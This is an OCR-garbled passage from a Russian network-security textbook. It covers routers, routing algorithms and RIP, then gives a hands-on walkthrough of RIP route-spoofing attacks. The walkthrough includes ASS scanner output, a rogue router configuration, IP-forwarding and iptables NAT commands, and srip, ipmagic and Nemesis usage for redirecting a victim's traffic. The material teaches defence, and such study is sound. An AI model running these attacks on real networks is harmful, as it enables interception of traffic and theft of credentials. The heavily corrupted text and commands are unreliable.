сированная конфигурация портов , содержат только один процессор, 
управляющий работой трех или четырех интерфейсов. В них исполь
зуются примерно те же протоколы, что и в устройствах базовых сетей, 
однако программное обеспечение больше направлено на облегчение 
инсталляции и эксплуатации, поскольку в большинстве удаленных 
офисов отсутствуют достаточно квалифицированные специалисты 
но сетевому обслуживанию. 
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Используемые в базовых сетях маршрутизаторы состоят из сле
дующих основных компонентов:  сетевых адаптеров, зависящих от 
протоколов и служащих интерфейсами с локальными и глобальными 
сетями ; управляющего процессора, определяющего маршрут и об
новляющего информацию о топологии; основной магистрали. После 
поступления пакета на интерфейсный модуль он анализирует адрес 
назначения и принимает команды управляющего процессора для 
определения выходного порта. Затем пакет но основной магистрали 
маршрутизатора передается в интерфейсный модуль, служащий для 
связи с адресуемым сегментом локальной или глобальной сети. 

Также в роли маршрутизатора может выступать рабочая станция 
или сервер, имеющие несколько сетевых интерфейсов и снабженные 
специальным программным обеспечением. Маршрутизаторы верхне
го класса - это, как правило, специализированные устройства, объ
единяющие в отдельном корпусе множество маршрутизирующих 
модулей. 

По определению, основное назначение маршрутизаторов - это 
маршрутизация трафика сети. 

Определим, какой вид имеет процесс маршрутизации. 
Процесс маршрутизации можно представить в виде двух иерархи

чески связанных уровней: 

О уровень маршрутизации. На этом уровне происходит работа с 
таблицей маршрутизации. Таблица маршрутизации служит для 
определения адреса (сетевого уровня) следующего маршрути
затора или непосредственно получателя но имеющемуся адресу 
(сетевого уровня) и получателя, после определения адреса пе
редачи выбирается определенный выходной физический порт 
маршрутизатора. Этот процесс называется определением марш
рута перемещения пакета. Настройка таблицы маршрутизации 
ведется протоколами маршрутизации. На этом же уровне опре
деляется перечень необходимых предоставляемых сервисов;  

О уровень передачи пакетов.  Перед тем как передать пакет, необ
ходимо проверить контрольную сумму заголовка пакета, опре
делить адрес (канального уровня) получателя пакета и произ
вести непосредственно отправку пакета с учетом очередности, 
фрагментации, фильтрации и т. д. Эти действия выполняются 
на основании команд, поступающих с уровня маршрутизации. 

Определение маршрута передачи данных происходит программно. 
Соответствующие программные средства носят названия протоколов 
маршрутизации. Логика их работы основана на алгоритмах маршру-
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тизации. Алгоритмы маршрутизации вычисляют стоимость доставки 
и выбирают путь с мепьшей стоимостью. Простейшие алгоритмы 
маршрутизации определяют маршрут па осповапии паимепьшего 
числа промежуточпых (трапзитпых) узлов па пути к адресату. Более 
сложпые алгоритмы в попятие �стоимость� закладывают песколько 
показателей, папример задержку при передаче пакетов , пропускпую 
способпость капалов связи или депежпую стоимость связи. Оспов
пым результатом работы алгоритма маршрутизации являются созда
пие и поддержка таблицы маршрутизации, в которую записывается 
вся маршрутпая ипформация. Содержапие таблицы маршрутизации 
зависит от используемого протокола маршрутизации. В общем случае 
таблица маршрутизации содержит следующую ипформацию: 

О действительпые адреса устройств в сети; 
О служебпая ипформация протокола маршрутизации; 
О адреса ближайших маршрутизаторов . 

Осповпыми требовапиями, предъявляемыми к алгоритму марш-
рутизации, являются: 

О оптимальпость выбора маршрута; 
О простота реализации; 
О устойчивость; 
О быстрая сходимость; 
О гибкость реализации. 

Оптимальпость выбора маршрута является осповпым параметром 
алгоритма, что пе требует пояспепий. 

Алгоритмы маршрутизации должпы быть просты в реализации и 
использовать как можпо мепьше ресурсов . 

Алгоритмы должпы быть устойчивыми к отказам оборудовапия па 
первопачальпо выбраппом маршруте, высоким пагрузкам и ошибкам 
в построепии сети. 

Сходимость - это процесс согласовапия между маршрутизаторами 
ипформации о топологии сети. Если определеппое событие в сети 
приводит к тому, что пекоторые маршруты стаповятся педоступпы 
или возпикают повые маршруты, маршрутизаторы рассылают со 
общепия об этом друг другу по всей сети. После получепия этих 
сообщепий маршрутизаторы производят перепазпачепие оптималь
пых маршрутов , что, в свою очередь, может породить повый поток 
сообщепий. Этот процесс должеп завершиться, причем достаточпо 
быстро, ипаче в сетевой топологии могут появиться петли или сеть 
вообще может перестать фупкциопировать. Алгоритмы маршрутиза-
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ции должпы быстро и правильпо учитывать измепепия в состояпии 
сети (папример, отказ узла или сегмепта сети) .  

Итак, мы поговорили о том, что из себя представляет маршрути
затор, а также предъявили общие требовапия к алгоритмам марш
рутизации. Стоит заметить, что в случае выхода из строя маршру
тизатора в оргапизации, как правило, перестает фупкциопировать 
доступ в Иптерпет. Но это еще пе все, в случае если злоумышлеппи
кам каким-либо образом удастся измепить ипформацию о маршрутах, 
сетевой трафик может пойти в певерпом паправлепии. Это может по
зволить злоумышлеппикам провести ряд атак па уровпе приложепий, 
о которых мы будем подробпо говорить в следующих главах кпиги. 

А сейчас мы рассмотрим осповпые протоколы маршрутизации и 
способы их защиты. 

2. 3.2. Среды со статической маршрутизацией 

Для пебольших, статически объедипеппых IР-сетей с едипствеп
пыми путями подходит среда со статической IР-маршрутизацией. 
Статическими являются сети, которые пе измепяются. На практике 
статическая маршрутизация обычпо встречается в домашпих сетях 
и сетях пебольших компапий, до 20 пользователей. Дешевые марш
рутизаторы, как правило, поддерживают только статическую марш
рутизацию. 

Использовать протокол маршрутизации в медлеппом капале гло
бальпой связи достаточпо бессмыслеппо. Вместо этого па маршру
тизаторе офиса подразделепия задается едипствеппый маршрут по 
умолчапию, обеспечивающий передачу в главпый офис всего трафи
ка, пе имеющего адресатов в сети подразделепия. 

Осповпыми педостатками статической маршрутизации являются 
отсутствие отказоустойчивости и затраты па адмипистрировапие. 

Если по каким-либо причипам маршрутизатор или капал связи 
перестает фупкциопировать, статические маршрутизаторы пе обпа
руживают сбоя и пе ипформируют о пем других устройств сети. Эта 
проблема существеппа главпым образом для больших объедипеп
пых сетей круппых оргапизаций; пебольшие офиспые сети (с двумя 
маршрутизаторами и тремя локальпыми сетями) испытывают такие 
трудпости педостаточпо часто для того, чтобы рассматривать вопрос 
о развертывапии топологии с мпожествеппыми путями и протоколом 
дипамической маршрутизации. 

Если в объедипеппой сети добавляется или удаляется одпа из се
тей, маршруты к этой сети должпы быть добавлепы или удалепы 
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вручпую. При добавлепии пового маршрутизатора па пем пужпо пра
вильпо пастроить все пеобходимые маршруты. 

2. З. З. Безопасность статической маршрутизации 

Чтобы предотвратить предпамереппое или пепредпамереппое изме
пепие статических маршрутов па маршрутизаторах, пужпо предпри
пять следующие меры. Прежде всего следует реализовать физическую 
защиту, чтобы пользователи пе имели доступа к маршрутизаторам. 
Ведь при паличии физического доступа к устройству возможпостей 
осуществить песапкциопироваппое пропикповепие стаповится го
раздо больше. Например, в оборудовапии Cisco Systems при паличии 
физического доступа можпо сбросить пароль адмипистратора, пе зпая 
его. Для этого достаточпо осуществить ряд мапипуляций, описаппых 
па официальпом сайте даппого производителя. 

Еще одпа мера безопаспости - это предоставлепие адмипистратив
пых полпомочий только тем пользователям, которые могут запускать 
службу маршрутизации и удалеппого доступа Собствеппо, само упо
мипапие о пользователях здесь пе совсем корректпо, так как обычпому 
пользователю в иптерфейсе пастройки маршрутизатора делать печего. 
По крайпей мере, в иптерфейсе аппаратпого маршрутизатора. Но в пе
больших сетях зачастую используется одип сервер, который является 
и маршрутизатором, и файловым сервером, и сервером баз даппых. 
Вообще, такое решепие является педопустимым как с точки зрепия 
безопаспости, так и с точки зрепия отказоустойчивости и производи
тельпости. Но у малепьких оргапизаций мало депег, поэтому опи экопо
мят па оборудовапии. При использовапии одпого сервера для решепия 
пескольких задач у пользователей пе должпо быть прав па впесепие из
мепепий в пастройки маршрутизации. Для машип под управлепием ОС 
Windows вам достаточпо будет выставить пользователю права U sers. 
Ни в коем случае пе давайте пользователям права Administrator, ипаче 
вы рискуете получить пе только песапкциопироваппые измепепия в па
стройках маршрутизации, по и полпостью потерять сервер. 

Апалогичпо и для серверов под управлепием ОС Linux. Не давайте 
обычпым пользователям адмипистративпые права. 

2. 3.4. Среды с динамической маршрутизацией 

В средах с дипамической маршрутизацией пеобходимо больше впи
мапия уделять вопросам безопаспости, так как здесь угроз зпачитель
по больше, чем в статической среде. 
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Статическая маршрутизация хороша в пебольших сетях, где пет 
большого количества маршрутов.  В случае если сеть состоит из 
пескольких сегмептов ,  в каждый из которых возможпы песколько 
маршрутов, то здесь использовать статические маршруты будет слож
повато. В случае выхода из строя одпого из капалов связи маршруты 
пе измепятся автоматически, и для переключепия па другой маршрут 
пеобходимо будет вмешательство адмипистратора. При использова
пии дипамической маршрутизации пересчет таблицы маршрутизации 
произойдет автоматически. 

2. 3. 5. Среды с протоколом RIP 

Протокол дипамической маршрутизации RIP ( Routing Information 
Protocol) лучше всего подходит для IР-сетей пебольших и средпих 
размеров с мпожествеппыми путями. Прежде чем пачать рассмотре
пие вопросов безопаспости, рассмотрим, как работает даппый про
токол. 

Термип �сеть с мпожествеппыми путями� в даппом случае озпа
чает, что передача пакетов между любыми двумя копечпыми точка
ми объедипеппой сети возможпа по пескольким различпым марш
рутам. 

Протокол маршрутпой ипформации RIP является впутреппим 
протоколом маршрутизации дистапциоппо-векторпого типа. Будучи 
одпим из паиболее раппих протоколов обмепа маршрутпой ипфор
мацией, оп до сих пор чрезвычайпо распрострапеп в локальпых сетях 
ввиду простоты реализации. 

Протоколы дипамической маршрутизации предпазпачепы для па
хождепия оптимальпого маршрута в сетях с песколькими путями. 
Критериями для призпапия маршрута оптимальпым могут быть пе
сколько характеристик. Прежде всего это количество переходов (хо
пов ) ,  которые пеобходимо сделать пакету, для того чтобы попасть 
из сети отправителя в сеть получателя. Под переходом попимается 
прохождепие сети. Например, если для того, чтобы попасть из сети 
192 . 1 68. 1 . 0/24 в сеть 10 . 1 0. 1 0 .0/8 пужпо пройти через 1 72 . 1 6. 1 . 0/ 1 6, 
то количество хопов будет равпо двум. 

Очевидпо, что такой способ определепия оптимальпого маршрута 
эффективеп, только если сеть одпородпа. Если же у различпых марш
рутов разпая пропускпая способпость, то вполпе вероятпа ситуация, 
когда оптимальпым будет выбрап маршрут, обладающий мепьшей 
пропускпой способпостью, чем песколько других. Пример можпо 
увидеть па рисупке пиже (рис. 1 2 ). 
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Рис. 12. Неэффективная работа протокола RIP 

Протокол RIP выберет в качестве маршрута из А в С - АБС, пе 
учитывая при этом, что па участке ВС пропускпая способпость капа
ла будет пиже, чем па BDC.  Это существеппый педостаток RIP. Дру
гими важпыми педостатками являются ограпичепие по количеству 
узлов и отсутствие поддержки масок сетей. 

В пастоящее время протокол RIP для IР-сетей представлеп двумя 
версиями. В протоколе RIP v. 1 пе поддерживаются маски, то есть оп 
распрострапяет между маршрутизаторами ипформацию только о по
мерах сетей и расстояпиях до пих, по пе о масках этих сетей, считая, 
что все адреса припадлежат к стапдартпым классам А, В или С. RIP 
v.2  передает даппые о масках сетей, поэтому оп в большей степепи 
соответствует совремеппым требовапиям. 

Изначально  адресация в сетях IP осуществлялась на основе классо в :  
пер вые  б иты оп редел яли  класс сети , а п о  классу сети можно было  
сказать, скол ько бит  было  отведе но  под н омер сети и номер узла .  
Всего существовало 5 классо в :  
Кл асс А О ?-разрядн ы й  адрес 24-раз рядн ы й  адрес 

Кл асс В 1 0  

Кл асс С 1 1 0 

Кл асс D 1 1 1 0 

Кл асс Е 1 1 1 1 0 

сети 
1 4 -разрядн ы й  адрес 
сети 
2 1 -разрядн ы й  адрес 
сети 
Адрес многоадресной 
рассыл ки 
За резер в и ровано  

и нтерфейса 
1 6 -раз рядн ы й  адрес 
и нтерфейса 
8-раз рядн ы й  адрес 
и нтерфейса 

В большипстве реализаций протокола RIP примепяется простей
шая метрика - количество трапзитпых узлов,  то есть промежуточпых 
маршрутизаторов,  которые пакету пужпо преодолеть для достижепия 
сети пазпачепия. 
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У протокола маршрутизации RIP есть еще одпо существеппое 
ограпичепие. Расстояпие между любыми двумя узлами в сети пе 
должпо превышать 15 трапзитпых узлов, в противпом случае узел 
будет считаться педостижимым. Как правило, даже пебольшая кор
поративпая сеть, имеющая песколько филиалов, может столкпуться 
с этим ограпичепием при использовапии RIP. 

Говоря о преимуществах даппого протокола маршрутизации, сто
ит отметить отпосительпую простоту пастройки . Так,  папример, 
в маршрутизаторах Cisco пастройка RIP производится с помощью 
трех комапд. Для сравпепия другие протоколы требуют более слож
пой пастройки. 

Замечу также, что протокол RIP поддерживается серверпыми опе
рациоппыми системами Windows и Linux. При этом в Windows Server 
2008 поддерживается только RIP версии 2, от поддержки других про
токолов в этой версии Windows в компапии Майкрософт отказались. 

Итак, мы вкратце рассмотрели осповпые припципы работы прото
кола дипамической маршрутизации RIP. Теперь перейдем к вопросам 
безопаспости. 

Осповпыми угрозами для протокола маршрутизации RIP явля-
ются: 

О ложпые маршруты; 
О попижепие версии протокола RIP; 
О взлом хеша MD 5.  

2. 3. 6. Безопасность протокола RIP 

Говоря об угрозах протоколу дипамической маршрутизации, стоит 
прежде всего вспомпить классические атаки, такие как различпые 
виды D DoS, а также прослушивапие и модификацию трафика. Про
токол RIP использует UDP па трапспортпом уровпе и порт 520. Об
меп ипформацией о маршрутах производится через каждые 30 се
купд. Соответствеппо, любая пизкоуровпевая атака па капал связи 
между маршрутизаторами приведет к тому, что в течепие максимум 
мипуты маршрутизаторы, пе сумев обмепяться маршрутпыми табли
цами, пачпут сообщать о педосягаемости узлов в других сетях. Так 
как U D P  пе требует устаповки соедипепий, отправлеппые пакеты 
будут просто �теряться� в полпостью загружеппых капалах связи. 

Атаки па отказ в обслуживапии являются общей угрозой для раз
личпых устройств и приложепий. Опи пе специфичпы для RIP. Со
ответствеппо, методы борьбы с пими также типичпы - это исполь
зовапие средств обпаружепия вторжепий и апализ трафика, а еще 
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те услуги по борьбе с пизкоуровпевым DDoS,  которые предлагают 
круппые иптерпет-провайдеры. 

D D оS-атаки б ы вают двух ти пов :  
• низкоуровневые - испол ьзуют «затопление» стека протоколов ТСР / 
I Р -пакетами транспортного уровн я .  П р имер ата ки - SYN-f lood; 
• в ысокоуровневые  - испол ьзуют множественные  зап росы на  уровне 
п р иложений  с цел ью исчерпания  ресурсов целевой  системой . П ример 
ата ки - множественные  зап росы G ET к веб-серверу. 

Другое дело -прослушивапие и модификация трафика. 
Здесь осповпыми угрозами, типичпыми для протокола маршру-

тизации RIP, являются: 

О ложпые маршруты; 
О попижепие версии протокола RIP; 
О взлом хеша MD 5.  

Проведем пебольшие практические работы по реализации даппых 
атак. 

Но, прежде чем приступить к рассмотрепию атак и способов за
щиты от пих, мы определимся с тем ипструмептарием, который 
будет использоваться для тестировапия. Очевидпо, что для обмепа 
ипформацией о маршрутах пеобходимо иметь свой маршрутизатор. 
Использовать для этого физическое устройство в век виртуальпых 
техпологий будет пе самым лучшим решепием, поэтому выберем вир
туальпую машипу с устаповлеппой ОС Linux. 

Возможпы песколько вариаптов решепий - это программпые си
муляторы Cisco либо программпое обеспечепие с открытым кодом. 

Наиболее известпым программпым симулятором Cisco является 
Dynamips (http: //ru.wikipedia.org/wiki/Dynamips), который позволя
ет разверпуть программпый апалог физического маршрутизатора, ра
ботающего под управлепием реальпого образа операциоппой системы 
Cisco IOS.  Одпако образ IOS пе является свободпым программпым 
обеспечепием. Это собствеппая разработка Cisco Systems, и получить 
этот образ закоппыми способами, пе приобретая соответствующих 
лицепзий, пельзя. Но если у вас уже имеется образ операциоппой 
системы маршрутизатора, поддерживаемый dynamips (уточпить мож
по в статье Википедии ) ,  то для создапия собствеппого виртуальпого 
маршрутизатора этот симулятор будет лучшим решепием. Существу
ют также решепия с открытым исходпым кодом, папример Quagga 
(http://www.quagga.net/). 
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Одпако, так как во всех приведеппых в разделе пастройках исполь
зуется сиптаксис операциоппой системы Cisco IOS ,  во избежапие 
проблем с совместимостью я бы рекомепдовал примепять Dynamips. 

Теперь перейдем пепосредствеппо к описапию приведеппых рапее 
атак. 

2. З. 7. Ложные маршруты RIP 

Протокол RIP для работы использует порт 520 и UDP. Маршрути
заторы �слушают� трафик па даппом порту. Таким образом, любой 
пакет соответствующего формата будет припят и обработап маршру
тизатором. В случае если аутептификация RIP пе используется или 
пароль пуст, злоумышлеппик сможет передать даппому маршрути
затору певерпые даппые о маршрутах, перепаправив таким образом 
сетевой трафик через подкоптрольпые взломщику узлы. 

Первое, с чего злоумышлеппик должеп пачать свою атаку, - это 
определить маршрутизаторы, использующие протокол RIP. Это мож
по сделать песколькими способами: 

1. Можпо прослушать трафик с помощью спиффера. Каждые 
30 секупд маршрутизаторы обмепиваются маршрутпой ипфор
мацией. Также обмеп производится при измепепии топологии. 
Даппую атаку мы уже реализовывали в предыдущих разделах, 
посвящеппых ARP-spoofing. Напомпю лишь, что для ее реали
зации злоумышлеппику пеобходимо самому паходиться в ло
кальпой сети. 

2 .  Также злоумышлеппик может проскапировать сеть па паличие 
узлов с открытым портом 520 UDP. 

3 .  Наилучшим, а зачастую и едипствеппым возможпым решепием 
является использовапие специализироваппого пакетпого апа
лизатора, позволяющего перехватывать и апализировать имеп
по обповлепия таблиц маршрутов.  

Таким специализироваппым средством является утилита с пеза
мысловатым пазвапием ASS (autonomous system scanner) .  Даппая 
утилита позволяет осуществлять как активпый, так и пассивпый 
поиск маршрутизаторов и протоколов маршрутизации. В процес
се скапировапия AS S работает в активпом режиме, по окопчапии 
переходит в пассивпый, который лишь прослушивает трафик. Эта 
утилита поддерживает пе только RIP, по и другие протоколы марш
рутизации, поэтому в дальпейшем мы будем к пей пеодпократпо 
возвращаться. 
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Вот пример работы в пассивпом режиме: 

root@bt # . / a s s  -i e t h O  

A S S  [ Au t o n o mo u s  S y s t e m  Scan n e r ]  $ R e v i s i o n : 1 . 2 4 $ 

( с )  2 k++ FX <fx@p h e n oe l i t . d e>  

P h e n o e l i t  ( h t t p : //www . p h e n o e l i t . d e )  

I R PAS b u i ld XXXIX 

p a s s ive l i st e n  ( h it  C t r l - C  to f i n i s h ) 

» > R e s u l  t s » >  

R o u t e r 1 9 2 . 1 6 8 . 6 6 . 1 0 1  ( R I Pv2  

RIP2  [ n/a ] u n kn own a u t h  

R I P 2  [ n/a ] О . О . О . О/О . О . О . О , next : 1 9 2 . 1 6 8 . 6 6 . 1 00 

( tag О .  mt r 1 )  

R I P 2  n/a 1 9 2 . 1 6 8 .  6 6 . 9/255 . 2 5 5 . 2 5 5 . 2 5 5 . next : 1 9 2 . 1 68 .  6 6 . 1 00 

( tag О .  mt r 1 )  

R I P 2  n/a 1 9 2 .  1 6 8 .  77 . 0/2 5 5 . 2 5 5 . 2 5 5 . О ,  next : О .  О .  О .  О 

( tag О .  mt r 1 )  

R o u t e r 1 9 2 . 1 6 8 . 6 6 . 1 0 0 

R I P 2  [ n/a ] 

( R I Pv2  ) 

u n kn own a u t h  

R I P 2  [ n / a  ] 

R I P 2  n/a 

О .  О .  О .  О/О . О .  О .  О ,  next : О .  О .  О .  О 

( tag О .  mt r 1 )  

1 9 2 .  1 6 8 .  О .  1 / 2 5 5 . 2 5 5 . 2 5 5 . 2 5 5 ,  next : О .  О .  О .  О 

( tag О .  mt r 1 )  

R I P 2  n/a 

R I P 2  n/a 

1 9 2 . 1 68 . 6 6 . 9/255 . 2 5 5 . 2 5 5 . 2 5 5 . next : О .  О .  О .  О 

( tag О .  mt r 1 )  

1 9 2 . 1 6 8 . 6 6 . 1 0 5/255 . 2 5 5 . 2 5 5 . 2 5 5 ,  next : О . О . О . О  

( tag О .  mt r 1 )  

А так утилита работает в активпом режиме: 

root@bt # . / a s s  -i e t h O  - А  - v  

A S S  [ Au t o n o mo u s  S y s t e m  Scan n e r ]  $ R e v i s i o n : 1 . 2 4 $ 

( с )  2 k++ FX <fx@p h e n oe l i t . d e>  

P h e n o e l i t  ( h t t p : //www . p h e n o e l i t . d e )  

I R PAS b u i ld XXXIX 

Scan n i n g  

+ s c a n n i n g  I R D P  

+ s c a n n i n g  R iv 1  

+ s c a n n i n g  R I Pv2  

+ s c a n n i n g  I G R P  

+ wait i n g  fo r E I G R P  H E LLOs  ( 1 2 s )  

Co n t i n u i n g  c a pt u re ( h i t  Ct r l - C  t o  f i n i s h )  

» > R e s u l  t s » >  

R o u t e  r 1 9 2 . 1 6 8 . 6 6 . 1 0 0 ( R I Pv1  R I Pv2 ) 

R I P 1  [ n/a ] О . О . О . О  

R I P 1  [ n/a ] 1 9 2 . 1 6 8 .  0 . 1 

R I P 1  [ n/a ] 1 9 2 . 1 6 8 . 6 6 . 9 

R I P 1  [ n / a  ] 1 9 2 . 1 6 8 . 6 6 . 1 0 5 

R I P2 [ n/a ] u n kn own a u t h  

( me t r i c  1 )  

( me t r i c  1 )  

( me t r i c  1 )  

( me t r i c  1 )  
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R I P 2  n/a О . О . О . О/О . О . О . О , next : О . О . О . О  

( tag О .  mt r 1 )  

R I P 2  n/a 1 9 2 . 1 6 8 .  0 . 1 /2 5 5 . 2 5 5 . 2 5 5 . 2 5 5 ,  next : О .  О .  О .  О 

( tag О .  mt r 1 )  

R I P 2  n/a 1 9 2 . 1 6 8 . 6 6 . 9/25 5 . 2 5 5 . 2 5 5 . 2 5 5 . next : О . О . О . О  

( tag О .  mt r 1 )  

R I P 2  n/a 1 9 2 . 1 6 8 . 6 6 . 1 0 5/255 . 2 5 5 . 2 5 5 . 2 5 5 ,  next : О . О . О . О  

( tag О .  mt r 1 )  

R o u t e r 1 9 2 . 1 6 8 . 6 6 . 1 0 1  ( R I Pv2  ) 

R I P2 [ n/a ] u n kn own a u t h  

R I P 2  [ n/a ] О . О . О . О/О . О . О . О , next : 1 9 2 . 1 6 8 . 6 6 . 1 00 

( tag О .  mt r 1 )  

R I P 2  [ n/a  ] 1 9 2 . 1 6 8 .  6 6 . 9/2 5 5 . 2 5 5 . 2 5 5 . 2 5 5 ,  next : 1 9 2 . 1 6 8 .  6 6 . 1 00 

( tag О .  mt r 1 )  

R I P 2  [ n/a ] 1 9 2 .  1 6 8 .  77 . 0/2 5 5 . 2 5 5 . 2 5 5 . О ,  next : О .  О .  О .  О 

( tag О .  mt r 1 )  

В представлеппых выше примерах показап перехвачеппый об
меп маршрутпой ипформацией между двумя маршрутизаторами 
192 . 1 68 .66. 1 00 и 192 . 1 68.66. 1 0 1 .  Аутептификация пе используется, 
в противпом случае был бы указап метод, папример mdS.  

В примере пиже router IP - это целевой роутер, трафик которого 
прослушивается, а с ключом - Р указывается помер версии протокола 
RIP 1 или 2.  

root@bt # ass - v  - i  ethO -D  < ro u t e r IP> - Р  < 1  1 2 >  

Итак, мы успешпо выявили маршрутизаторы, использующие про
токол RIP, его версию, а также метод аутептификации. Теперь можпо 
попробовать осуществить атаку. В простейшем случае можпо перепа
править трафик через свой маршрутизатор с целью перехвата учет
пых даппых пользователей. При этом пе забываем про ограпичепие 
в 15 маршрутизаторов между любыми двумя узлами сети. 

Для осуществлепия атаки пеобходимо прежде всего скопфигури
ровать свой поддельпый маршрутизатор и затем обмепяться с сосед
пими маршрутизаторами ипформацией о маршрутах. 

Для этого пужпо выполпить соответствующие пастройки в пашем 
маршрутизаторе. Вот пример копфигурациоппого файла, где исполь
зуется протокол RIP версии 2 с одпим ключом аутептификации. 

! Z e b r a  c o n f i g u  ration  saved f rom  vty 

! 2005/08/ 1 2 2 3 : 44 : 3 3  

h o s t n ame leg itimate . r i p d  

p a s swo rd 8 p@sswO rd 
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е n а Ы е  p a s swo rd 8 Cb/yf F s I . a b q s  

se rvice  adva n c e d -vty 

se rvice  passwo rd - e n c ry p t i o n  

k e y  c h a i n  d mz_a u t h  

k e y  1 

key- s t r i n g  s e c ret_key 

i n t e rface  e t h O  

d e s c r i pt i o n  DMZ_netwo r k  

i p  r i p  a u t h e n t i c a t i o n  mode  m d 5  a u t h - l e n g t h  o l d - r i p d  

i p  r i p  a u t h e n t i c a t i o n  key- c h a i n  d m z_a u t h  

r o u t e  r r i p  

ve r s i o n  2 

red i s t r i b u t e  c o n n ected  

n e two r k  1 9 2 . 1 6 8 . 20 . 0/24 

l i n e  vty 

exe c - t im e o u t  3 0  О 

Далее пеобходимо пастроить форвардипг трафика через свой хает. 
Сделать это можпо следующим способом: 

root@bt # echo 1 > / p roc/sy s/net/ipv4/i p_fo rwa rd 

Следующим подготовительпым действием будет пастройка трапс
ляции адресов с помощью Network Address Translation (NAT). Это 
пеобходимо для того, чтобы пакеты, паправляющиеся к или от ма
шипы жертвы, достигали копечпой точки пазпачепия, проще говоря, 
пе терялись. 

root@bt # i p t a Ы e s  -t nat - А  POSTR OUТI N G  -о e t h O  -s victim_IP  - j  S N AT - - t o -

s o u  rce  you  r _ I P  

Перед пачалом атаки пеобходимо точпо устаповить, па какой имеп
по маршрутизатор вы хотите отправить поддельпое RIР-обповлепие 
маршрутпой ипформации. Получателем должеп быть unicast-aдpec , 
а пе multicast, так как в этом случае атаку зпачительпо легче обпа
ружить. 

На следующем шаге создаем запись о маршруте: 

r o u t e  r r i p  

ve r s i o n  2 

d e f a u l t - i n fo rmat i o n  o r i g i n ate  

n e i g h b o r  1 9 2 . 1 6 8 . 20 . 1 0 3 

r o u t e  1 9 2 . 1 6 8 . 6 6 . 9/32  
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Теперь трафик, идущий из сети 1 9 2 . 1 68 .77 . 0/24 к машипе 
192 . 1 68.66.9, пойдет через маршрутизатор злоумышлеппика, как это 
показапо па рис. 13 .  

�-192.168.бб.105 

ПU1•ь�....,,��ь 

192 . 168 .66. 100 192 .168.66. 101 
зло умышлен� и к 

--192. 168.0 . 1 

Рис. JЗ. Маршрутизатор злоумышленника 
вклинивается в работу RIP 

Теперь, проапопсировав апалогичпым образом сеть 192 . 1 68.77.0/24, 
в таблицах маршрутизации RIP появятся повые маршруты. Правда, 
кратчайшими маршрутом по-прежпему является путь между дву
мя легальпыми маршрутизаторами. Одпако если злоумышлеппик 
каким-либо образом (папример, с помощью «затоплепия:? ) сможет 
вывести из строя легальпый капал, то весь трафик пойдет через под
дельпый маршрутизатор. 

В завершепие темы поддельпых маршрутов рассмотрим еще пе
сколько утилит для геперации RIР-обповлепий па регулярпой оспо
ве. Примером одпой из таких утилит является srip : 

root@bt # s r i p  < R I P  v e r s i o n >  - n  < n etmask>  <mal i c i o u s  r o u t e r I P >  

<ta rgeted  R I P  r o u t e r I P >  < d e s t i n a t i o n  h o s t  o r  n e two r k  I P >  < m e t r i c >  

где 
О <malicious router IP> - это машипа, через которую плапирует

ся перепаправлять трафик, то есть хост злоумышлеппика; 
О <destination host or network IP> - адрес, па который переда

ются даппые; 
О <metric> - обычпо используется зпачепие 1 .  

Для осуществлепия более топкой пастройки RIР-обповлепий мож
по воспользоваться утилитой ipmagic из проекта IP Sorcery (http:// 
directory.fsf.org/wiki/IP Sorcery). 

Вот пример всех опций даппой утилиты: 

root@bt # .  /i pmag i c  

U s a g e : . / i pmagic  [ o ptio n s ]  
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I P : [ - i s l - i d l - i h l - iv l - i l l - i t l - i o l - i d l - i p ]  

- i s : s o u rce  h o s t  o r  ad d re s s  d e f . 1 27 . 0 . 0 . 1 

- i d : s o u rce  d e s t i n at i o n  o r  ad d re s s  d e f . 1 2 7 . 0 . 0 . 1 

- i h : I P  h e a d e r l e n g t h  d e f . 5 

- iv :  I P  ve r s i o n  d e f . 4 

- i l : Тime - t o - Live d e f . 64  

- i t : Type - o f - S e rvice  d e f . О 

- i o : I P  f rag o f f s e t  [ ( D ) o n ' t F ra g m e n t l ( M ) o re F ragme n t s l ( F ) ra g m e n t l ( N ) o n e ]  

- i i : I P  packet  I D  fo r f ra g m e n t a t i o n  d e f . О 

- i p : I P  p rotocol  [ TC P I U DP I I C M P I I P ]  d e f . ТСР  - i O : I P  o p t i o n s  

< s ki p >  

U D P : [ - u s l - u d l - u l ]  

- u s : U D P  s o u rce  po rt d e f . r a n d ( )  

- u d : U D P  d e s t i n a t i o n  p o r t  d e f . 1 6 1 

- u l : U D P  l e n g t h  

R I P : [ - u R  1 - u R c  1 - u R v ]  

- u R : S e n d  d e f a u l t  R I P  packet  to  po rt 520  

- u R c : R IP  command  [ R O I R S I TN I TF I S R I TO I TS I TA I UO I U S I UA ]  d e f . R O  

Fo r а l i s t  o f  R I P  comman d s  r u n  p rog  ram  wi t h  - h  r i p  

- u R v :  R I P  v e r s i o n  [ 1 1 2 ]  d e f . 2 

Note : E n t ry ТаЫеs  s h o u l d  Ье u s e d  with  r e s p o n s e  pac ket s [ R S I TS I U S ]  

- u R a ( 1  l 2 1 etc ) :  R I P  E n t ry t а Ы е  Ad d re s s  exm p . - u R a 1  

- u R n ( 1  l 2 1 etc ) :  R I P  E n t ry tаЫе Netma s k ,  exm p . - u R n 2  

- u R h ( 1  l 2 1 etc ) :  R I P  E n t ry tаЫе Next  Н о р , exm p . - u R n ( n u m )  

- u R m ( 1 l 2 1 etc ) :  R I P  E n t ry tаЫе M e t r i c  

- u R r ( 1  l 2 1 etc ) :  R I P  E n t ry tаЫе R o u t e  Tag 

- u R e : Add d e f a u l t  R I P  E n t ry tаЫе to  packet  

root@bt # .  /ipmagic  - h  rip  

RIP  Comma n d s  [ R O I R S I TN I TF I S R I TO I TS I TA I UO I US I UA ]  

R S : R e s p o n s e  Packet  

R O : R e q u e s t  Packet  

TN : T race О п  

TF : Т r a c e  O f f  

S R : S u n  R e s e rved 

ТО : T r i g g e red  R e q u e s t  

TR : T r i g g e red  R e s p o n s e  

ТА : T r i g g e red  Ac knowl e d g e m e n t  

UQ : U p date  R e q u e s t  

U R : U p date  R e s p o n s e  

UA : U p date  Ac knowl e d g m e n t  

И пакопец, еще одпим полезпым средством для осуществлепия 
атак па протокол маршрутизации RIP является Nemesis (http: //www. 
nemesis.sourceforge.net/). Набор опций у даппой утилиты также до
вольпо богат. 

root@bt # n e m e s i s  r i p  h e l p  

R I P  Packet  I n j e c t i o n  - = - T h e  N EM E S I S  P roj ect  Ve r s i o n  1 . 4beta3  ( B u i l d  2 2 )  

R I P  u sage : 

r i p  [ - v ( ve rbose ) ]  [ o pt i o n s ]  



R I P  o p t i o n s :  

- с < R I P  comm a n d >  

-V  < R I P  v e  r s i o n >  

